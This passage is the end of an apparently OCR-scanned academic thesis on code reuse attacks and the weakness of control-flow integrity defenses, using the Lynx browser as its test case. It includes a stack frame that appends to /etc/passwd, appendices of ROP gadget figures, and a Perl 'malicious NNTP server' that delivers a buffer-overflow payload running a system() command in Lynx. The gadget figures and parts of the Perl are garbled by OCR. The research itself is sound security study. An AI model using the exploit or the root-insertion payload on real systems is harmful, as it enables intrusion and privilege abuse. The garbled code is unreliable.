Figure 6-7: Assembly code for gadgets used by the root inserter
66
fp = eax
return HTFWriter-new(fp)
return fopen(fname, 'a');
Figure 6-8: Injected stack frame to open a file in append mode before downloading. Pseu-
docode for the gadgets is given on the right
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Return address = OxO8Oe9cec
(HTFile.c:1286)
Saved $ebp = $ebp +8
fname = "/etc/passwd"
name= &fname
Return address = OxO8O8faeO
(LYUtils.c:6088)
Saved $ebp = &name - Ox4
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Chapter 7
Conclusion
In this thesis we built a model of the code reuse space where statements about attacker
assumptions, the defenses that prevent them, and the requirements for those defenses are
represented as propositional formulas. The model included information about malware and
defenses that have been deployed in the real world as well as ideas that have been pro-
posed by the academic community. We used a SAT-solver to search the space for insecure
configurations and to generate ideas about where to look for new attacks or defenses.
We used the model to analyze the security of two applications running with the security
features available in an Ubuntu Server: a document viewer and a web server. We showed
that DEP, ASLR and system call filtering were sufficient to protect the document viewer
while the web server was vulnerable to code reuse attacks, because system call filtering
cannot be used with a program that needs to use sensitive functionality and ASLR is vul-
nerable to brute force attacks when programs will respond to multiple requests from a user
(as in the case of the web server).
We also used the model to suggest and construct several new classes of attacks: pure
ROP payloads, return-into-libn and Turing complete return-into-libn. These attacks proved
by construction that the current corpus of proposed defenses against code reuse attacks are
not sufficient to prevent practical attacks.
Finally, we investigated the security of proposed CFI defenses. We used a graph to
model the possible behavior of a program protected by CFI, with nodes representing basic
blocks and edges representing allowed control flow transfers. We developed an interactive
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search algorithm to aid in developing code reuse attacks that work in the presence of CFI
defenses by only following edges that are allowed by the defense.
With the results of our analysis, we developed several payloads: an uploader, a down-
loader a root inserter and a call to sy st em using Lynx as a test case. These attacks demon-
strate that the control flow graph enforced by CFI defenses is too permissive and still allows
malicious behavior and that CFI is not a comprehensive defense against code reuse attacks.
Future research using our systematic model could expand it to other attack and defense
spaces. For example, the techniques we used could also be applied to the network security
space to model the possible ways to attack a given network configuration. The model could
also be expanded beyond a simple satisfiablity instance. It could incorporate factors such
as costs to the attacker and the defender and probablistic scenarios to answer questions
that require a more complicated answer than a simple true/false. This would help quantify
the protection provided by defenses that are not comprehensive and help systems adminis-
trators make informed decisions about the tradeoffs between security and other important
factors such as cost and performance.
Future research on CFI defenses should focus on determining whether it is possible to
enforce a CFG that is restrictive enough to prevent attackers from developing practical code
reuse payloads while still allowing the program to function normally. Systems that build the
call graph using techniques like dynamic instrumentation rather than static analysis should
also be investigated. Additional research could also be done to investigate the behavior of
systems which combine shadow call stacks with CFI.
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Appendix A
Pure ROP Payload Gadgets
In this appendix we present the gadgets used in the pure ROP payloads described in Section
4.4.1.
dup2(
std stream id
OxFF
OxFF
OxFF
OxFF
p
Ox3f
Ox00
OxE
mov ebx,edx
xchg eax,edx
mov eax,[eax]
moy eax,edx
int Ox80
pop ebp
pop edi
pop esi
T ao ebx
Figure A-1: ROP gadget for dup2 (duplicate a file descriptor)
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Ox8
OxFF
OxFF
OxFF
OxFF
p
Ox5
0 -
0
mov [eax], ecx
- xchg ebx,ecx
add eax,edx
pop edx
mov ebx,edx
Sxchg eax,edx
int Ox80
pop ebp
O pop edi
pop esi
pop ebx
i pop ebx
Spop eax
Figure A-2: ROP gadget for accept
OxFF
OxFF
OxFF
OxFF
Ox00
sendfileo OxBB
int Ox80
pop ebp
pop edi
pop esi
pop ebx
pop edx
Figure A-3: ROP gadget for s endf ile
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acceptO
socketcall
Ox100-
OxFF
OxFF
OxFF
OxFF
Ox66
Ox2
0 -
0x10
0---0x64
OxAAAA0002
0x24
Ox0100007f
mov eax,[eax]
mov eax,edx
int Ox80
pop ebp
pop edi
pop esi
pop ebx
- xchg ebx,ecx
xchg eax,edx
Sadd eax, edx
- mov [eax], ecx
pop ecx
pop edx
Figure A-4: ROP gadget for bind
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socket call
bindo
mode/port
localhost
' ' ' ' '
OxFF int O
pop ebp
OxFF pop edi
pop esi
OxFF pop ebx
execvex popx
Ox00
Ox00
*mov ebxedx
0
nib! Z x6e69622f
Ox4 
-mv[a] c
hs/ Ox68732f2f
pop edx
Ox4
Figure A-5: ROP gadget for exe cve
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OxFF
OxFF
OxFF
OxFF
p
0x4
0x66
0x04
OxOO
int O
pop esp
pop ebx
pop ebx
pop eax
pov ebx,edx
I xchg eaxledx
Pi xchg ebx,ecx
-ifsub eax, edx
- Imov [eax], ex
-[pop ecx
p op edx
Figure A-6: ROP gadget for list en
OxFF
OxFF
OxFF
OxFFOxFF
0x05
0x401
0x4
filename
p
Figure A-7: ROP gadget for open
75
listeno
socketcall
open(
0 APPENDIO WRONLYi
add eax,edx
pop edx
int Ox80
pop ebp
popedi
pop esi
pop ebx
_ 
pop ecx
pop eax
--- mov ebxedx
xchg eax,edx
Smov [eax], ecx
pop ecx
pop edx
Word size
socket() code
socketcall(
AFINET
Word size
SOCKSTREAM
Ox4
0
0xF
OxFF
OxFF
OxFF
OxFF
OxFl
0x66
0x02
0x01
OxOl
add eax, edx
pop edx
int Ox80
pop ebp
pop edi
pop esi
pop ebx
-k xchg ebx,ecx
xchg eax,edx
pop ecx
pop ebx
sub eax, edx
mov [eax], ecx
Figure A-8: ROP gadget for socket
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e I
sbrk 0
Stack Size
Padding
sbrk 0
xchg eax,edx
add eax, edx
-- pop edx
int Ox80
pop ebp
pop edi
pop esi
pop ebx
OxFF
OxFF
OxFF
OxFF
Ox2D
0
01
OxFF
OxFF
OxFF
OxFF
0x2D
0x2D
Figure A-9: ROP gadget to set up the phantom stack
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Spop eax
OxFF
OxFF
OxFF
OxFF
stringjlen
0x04
0x4
insert-string
p
int Ox80
pop ebp
opopedi
pop esi
pop ebx
Spop edx
Spop eax
mov ebx,edx
Sxchg ebx,ecx
Sxchg eax,edx
A mov [eax], ecx
pop ecx
lop edx
Figure A-10: ROP gadget for wr it e
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writeo
Appendix B
Malicious NNTP Server
#!/usr/bin/perl --
use strict;
use IO::Socket;
$main::port = 119;
$main::timeout = 5;
# *** SUBROUTINES ***
sub mysend($$)
{
my $file = shift;
my $str = shift;
print $file "$str\n";
print "SENT: $str\n";
# sub mysend
sub myreceive($)
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{
my $file = shift;
my $inp;
eval
local $SIG{ALRM} = sub {
alarm $main::timeout;
$inp = <$file>;
alarm 0;
if ($@ eq "alarm\n")
die "alarm\n"
{ $inp=
};
print "TIMED OUT\n";
$inp =~ tr/\015\012\000//d;
print "RECEIVED:
$inp;
# sub myreceive
$inp\n";
*** MAIN PROGRAM ***
{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen
Reuse
=> SOMAXCONN,
=> 1);
die "can't set up server!\n" unless $server;
while (my $client = $server->accepto)
{
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};
}
$client->autoflush (1);
print 'connection from '.$client->peerhost."\n";
mysend($client, '200 Internet News');
my $group = 'alt.angst';
while (my $str = myreceive($client))
{
if ($str =~ m/^mode reader$/i)
{
mysend($client, '200 Internet News');
next;
}
if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
$group = $1;
mysend($client, "211 1 1 1 $group");
next;
}
if ($str =~ m/^quit$/i)
{
mysend($client,
last;
}
if ($str =~ mn/^hea
'205 Goodbye');
d ([0-9]+)$/i)
{
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{
#ebp + 16 (location of arguments)
my $evil = "\xe8\xe0\xff\xbf";
#padding, can be fixed if need more space for frame
$evil 'B' x 32;
$evil .= 'H' x 140;
#insert escape chars
$evil .= '$@21(J' x 40;
# more padding
$evil .= 'A' x 12;
#overwrite p, the location data is being copied to
$evil .= "\xd4\xe0\xff\xbf" x 3;
#saved ebp (start of buf)
$evil .= "\xe8\xde\xff\xbf";
#then return address
$evil .= "\x14\x14\x09\x08";
# correct value for t
$evil .= "\x59\xe3\xff\xbf";
# something sensible for s (t+452)
$evil .= "\xld\xe5\xff\xbf";
# argument to system
$evil .= "touch b;echo \"pwned\"";
my $head = <<HERE;
221 $1 <xyzzy\@usenet.qx>
Subject: $evil
Newsgroup: $group
Message-ID: <xyzzy\@usenet.qx>
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HERE
$head =~ sI\s+$IIs;
mysend($client, $head);
next;
}
mysend($client, '500 Syntax Error');
} # while str=myreceive(client)
close $client;
print "closed\n\n\n";
} # while client=server->accept()
}
83
84
Bibliography
[1] Lynx. Online, 2013. http://lynx.isc.org/current/.
[2] Martin Abadi, Mihai Budiu, Ulfar Erlingsson, and Jay Ligatti. Control-flow in-
tegrity principles, implementations, and applications. ACM Trans. Inf Syst. Secur,
13(1):4:1-4:40, November 2009.
[3] Frances E. Allen. Control flow analysis. SIGPLAN Not., 5(7):1-19, July 1970.
[4] Seth Arnold. Security features. Online, March 2013.
[5] Bennett, J. The number of the beast. http://www.fireeye.com/blog/technical/cyber-
exploits/2013/02/the-number-of-the-beast.html.
[6] T. Bletsch, X. Jiang, V.W. Freeh, and Z. Liang. Jump-oriented programming: A new
class of code-reuse attack. In Proc. of the 6th ACM CCS, 2011.
[7] Brandon Bray. Compiler security checks in depth. Online, 2002.
http://msdn.microsoft.com/en-us/library/aa290051%28v=vs.71%29.aspx.
[8] cOntex. Bypassing non-executable-stack during exploitation using return-to-libc,
2005.
[9] S. Checkoway, L. Davi, A. Dmitrienko, A.R. Sadeghi, H. Shacham, and M. Winandy.
Return-oriented programming without returns. In Proc. of the 17th ACM CCS, pages
559-572, 2010.
[10] Apple Corporation. Application code signing. Online, 2013.
https://developer.apple.com/library/ios/documentation/general/conceptual/devped
ia-cocoacore/AppSigning.html.
[11] Microsoft Corporation. Introduction to code signing. Online, 2013.
http://msdn.microsoft.com/en-us/library/ms537361%28v=vs.85%29.aspx.
[12] Crispin Cowan, Steve Beattie, John Johansen, and Perry Wagle. Pointguard: protect-
ing pointers from buffer overflow vulnerabilities. In Proceedings of the 12th USENIX
Security Symposium, 2003.
[13] Leonardo Mendona de Moura and Nikolaj Bjrner. Z3: An efficient smt solver. In
Tools andAlgorithms for the Construction and Analysis of Systems, 14th International
85
Conference (TACAS), volume 4963 of Lecture Notes in Computer Science, pages 337-
340. Springer, 2008.
[14] Peter Van Eeckhoutt. Chaining DEP with ROP, 2011.
[15] Hiroaki Etoh. Propolice: Gcc extension for protecting applications from stack-
smashing attacks. IBM (April 2003), http://www.trl.ibm.com/projects/security/ssp,
2003.
[16] Ulf Hamhammar. Lynx remote buffer overflow. Online, 2005.
http://lists.grok.org/pipermail/full-disclosure/2005-October/038019.html.
[17] Hex-Rays. Ida pro. https://www.hex-rays.com/products/ida/index.shtml.
[18] J. Hiser, A. Nguyen, M. Co, M. Hall, and J.W. Davidson. ILR: Where'd my gadgets
go. In IEEE Symposium on Security and Privacy, 2012.
[19] A. Homescu, M. Stewart, P. Larsen, S. Brunthaler, and M. Franz. Microgadgets: size
does matter in turing-complete return-oriented programming. In Proceedings of the
6th USENIX conference on Offensive Technologies, pages 7-7. USENIX Association,
2012.
[20] Hadi Katebi, Karem A Sakallah, and Jodo P Marques-Silva. Empirical study of the
anatomy of modem sat solvers. In SAT, pages 343-356. Springer, 2011.
[21] Mehmet Kayaalp, Meltem Ozsoy, Nael Abu-Ghazaleh, and Dmitry Ponomarev.
Branch regulation: low-overhead protection from code reuse attacks. In Proceed-
ings of the 39th International Symposium on Computer Architecture, pages 94-105,
2012.
[22] Brendan P. Kehoe. Zen and the art of the internet. Online, 1992.
[23] C. Kil, J. Jun, C. Bookholt, J. Xu, and P. Ning. Address space layout permutation
(ASLP): Towards fine-grained randomization of commodity software. In Proc. of
ACSAC'06, 2006.
[24] Johannes Kinder and Dmitry Kravchenko. Alternating control flow reconstruction. In
Viktor Kuncak and Andrey Rybalchenko, editors, Verification, Model Checking, and
Abstract Interpretation, volume 7148 of Lecture Notes in Computer Science, pages
267-282. Springer Berlin Heidelberg, 2012.
[25] Johannes Kinder and Helmut Veith. Jakstab: A static analysis platform for binaries.
In Computer Aided Verification, pages 423-427. Springer, 2008.
[26] J. Li, Z. Wang, X. Jiang, M. Grace, and S. Bahram. Defeating return-oriented rootkits
with "return-less" kernels. In EuroSys, 2010.
[27] Nergal. The advanced return-into-lib(c) exploits (pax case study). Phrack Magazine,
58(4):54, Dec 2001.
86
[28] K. Onarlioglu, L. Bilge, A. Lanzi, D. Balzarotti, and E. Kirda. G-free: Defeating
return-oriented programming through gadget-less binaries. In Proc. of ACSAC'10,
2010.
[29] Aleph One. Smashing the stack for fun and profit. Phrack magazine, 7(49):14-16,
1996.
[30] PaX. PaX non-executable pages design & implem.
http://pax.grsecurity.net/docs/noexec.txt.
[31] Michalis Polychronakis, Kostas G. Anagnostakis, and Evangelos P. Markatos.
Emulation-based detection of non-self-contained polymorphic shellcode. In Proc.
of RAID'07, pages 87-106, 2007.
[32] G.F. Roglia, L. Martignoni, R. Paleari, and D. Bruschi. Surgically returning to ran-
domized lib (c). In Proc. ofACSAC'09, 2009.
[33] Mark Russinovich. Windows internals. Microsoft, Washington, DC, 2009.
[34] H. Shacham. The geometry of innocent flesh on the bone: Return-into-libc without
function calls (on the x86). In ACM CCS, 2007.
[35] Hovav Shacham, Matthew Page, Ben Pfaff, Eu-Jin Goh, Nagendra Modadugu, and
Dan Boneh. On the effectiveness of address-space randomization. In Proc. of ACM
CCS, pages 298-307, 2004.
[36] S. Sinnadurai, Q. Zhao, and W. fai Wong. Transparent runtime shadow stack: Protec-
tion against malicious return address modifications, 2008.
[37] K. Snow, F. Monrose, L. Davi, and A. Dmitrienko. Just-in-time code reuse: On the
effectiveness of fine-grained address space layout randomization. In Proc. of IEEE
Symposium on Security and Privacy, 2013.
[38] R. Strackx, Y Younan, P. Philippaerts, F. Piessens, S. Lachmund, and T. Walter.
Breaking the memory secrecy assumption. In Proc. of EuroSec'09, 2009.
[39] PaX Team. Pax address space layout randomization (aslr), 2003.
[40] M. Tran, M. Etheridge, T. Bletsch, X. Jiang, V. Freeh, and P. Ning. On the expres-
siveness of return-into-libc attacks. In Proc. of RAID']1, pages 121-141, 2011.
[41] Twitch. Taking advantage of non-terminated adjacent memory spaces. Phrack, 56,
2000.
[42] Arjan van de Ven. New security enhancements in red hat enterprise linux v. 3, update
3. Raleigh, North Carolina, USA: Red Hat, 2004.
[43] Michael Wachter and Rolf Haenni. Propositional dags: a new graph-based language
for representing boolean functions. KR, 6:277-285, 2006.
87
[44] Richard Wartell, Vishwath Mohan, Kevin W. Hamlen, and Zhiqiang Lin. Binary
stirring: self-randomizing instruction addresses of legacy x86 binary code. In Proc.
of ACM CCS, pages 157-168, 2012.
[45] H. Xu and S.J. Chapin. Improving address space randomization with a dynamic offset
randomization technique. In Proc. of the 2006 ACM symposium on Applied comput-
ing, 2006.
[46] Y. Younan, W. Joosen, and F. Piessens. Code injection in C and C++: A survey of vul-
nerabilities and countermeasures. Technical Report CW386, Katholieke Universiteit
Leuven, July 2004.
[47] Chao Zhang, Tao
D. Song, and Wei
nary executables.
559-573, 2013.
Wei, Zhaofeng Chen, Lei Duan, L. Szekeres, S. McCamant,
Zou. Practical control flow integrity and randomization for bi-
In Security and Privacy (SP), 2013 IEEE Symposium on, pages
88
This work is sponsored by the Assistant Secretary of Defense for Research & Engi-
neering under Air Force Contract #FA872105C0002. Opinions, interpretations, conclu-
sions and recommendations are those of the author and are not necessarily endorsed by the
United States Government.
89
